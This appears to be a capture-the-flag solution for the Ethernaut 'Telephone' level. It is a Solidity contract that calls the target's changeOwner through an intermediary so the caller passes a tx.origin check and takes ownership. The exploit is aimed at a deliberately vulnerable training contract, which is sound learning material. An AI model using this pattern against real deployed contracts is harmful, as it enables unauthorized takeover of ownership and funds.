Ethernaut Level 5 (Telephone)

level5.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// Define an interface for the telephone contract
interface ITelephone {
    function changeOwner(address _owner) external;
}

contract MyContract {
    // The address of the telephone contract
    address private telephoneAddress;
    
    // Initialize the contract with the telephone contract's address
    constructor(address _telephoneAddress) {
        telephoneAddress = _telephoneAddress;
    }

    function win() public  {
        ITelephone telephone = ITelephone(telephoneAddress);
        telephone.changeOwner(msg.sender);
    }
}